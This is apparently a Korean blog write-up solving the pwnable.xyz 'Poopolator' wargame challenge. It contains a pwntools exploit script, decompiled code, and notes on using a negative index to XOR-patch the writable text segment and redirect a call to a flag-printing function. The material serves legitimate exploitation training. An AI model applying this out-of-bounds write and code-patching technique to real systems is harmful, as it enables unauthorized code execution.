from pwn import *
p = remote("svc.pwnable.xyz", 30029)
v6 = int(0xAC8-0x202200)//8 # -262887
v4 = 0x458B48FFFFFF54E8 ^ 0x1 # 5011179274728592617
v5 = 0x1
# (a^b)^b = a
p.sendline(str(int(v4))+" "+str(int(v5))+" "+str(int(v6)))
p.recvline()
p.sendline("1 2 10")
p.interactive()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-24h]
__int64 v4; // [rsp+10h] [rbp-20h] BYREF
__int64 v5; // [rsp+18h] [rbp-18h] BYREF
__int64 v6[2]; // [rsp+20h] [rbp-10h] BYREF
v6[1] = __readfsqword(0x28u); // canary 세팅
puts("The Poopolator");
setup("The Poopolator", argv);
while ( 1 )
{
v6[0] = 0LL;
printf(format);
v3 = _isoc99_scanf("%ld %ld %ld", &v4, &v5, v6);
// v4=0이거나, v5=0이거나, v6[0]=0이거나, v6[0]>9이거나, 입력받은값이 3개가 아니거나
// 그러면 종료!
if ( !v4 || !v5 || !v6[0] || v6[0] > 9 || v3 != 3 )
break;
result[v6[0]] = v5 ^ v4;
printf("Result: %ld\n", result[v6[0]]);
}
exit(1);
}
int win()
{
return system("cat flag");
}
// Full RELRO No canary found NX enabled PIE enabled
// result: bss segment(0x202200), win(): .text segment(0xA21) (코드영역,데이터영역 - offset 일정)
// call exit 명령어 주소: 0xAC8
// 함수 에필로그가 없네... 그냥 call exit 로 끝나벌임..
// 아예 text segment로 가서 어셈블리어를 수정해버릴까 - 코드영역 수상할정도로 모든 권한이 있다 (rwx) - 수정 가능!
// 어떻게 수정하냐? IDA의 힘을 빌리자 ㅎㅎㅎ
// call exit(E8 63 FD FF FF) 상태에서 Edit->Patch Program->Assemble 해서 call win으로 바꾸니
// E8 54 FF FF FF 이렇게 바뀜
// v6[0]을 음수로 조정해 0xAC8 부터 8바이트를 E8 54 FF FF FF 48 8B 45 로 만들어버리면 됨
어셈블리어 보면
mov rax,QWORD PTR [rbp-0x10] ; v6[0] 값을 rax로
lea rdx,[rax*8+0x0] ; rdx에 rax*8한 값을 넣고
mov QWORD PTR [rdx+rax*1],rcx ; rax=result, result로부터 rdx 떨어진 곳의 8B에 xor한 값을 넣는다
즉 v6[0] index는 떨어진 바이트 수 나누기 8한 값을 주어야 함
pwndbg> x/gx 0x0000555555554ac8
0x555555554ac8 <main+148>: 0x458b48ffffff54e8
잘 바뀌네 ~~
cf) IDA 도움을 받지 않고 어케 구하냐?
call: E8 + (상대주소 4Byte, little endian)
jmp: E9 + (상대주소 4Byte, little endian)
상대주소: 목적지 주소 - 현재 명령주소(rip) - 5
즉 p/x (win 주소) - (call win 명령어 주소) - 5 하면 됨
'security > 포너블 - pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - TLSv00 (0) | 2023.02.05 |
---|---|
pwnable.xyz - free spirit (0) | 2023.02.05 |
pwnable.xyz - two targets (0) | 2023.02.05 |
pwnable.xyz - note (0) | 2023.02.05 |
pwnable.xyz - grownup (0) | 2023.02.05 |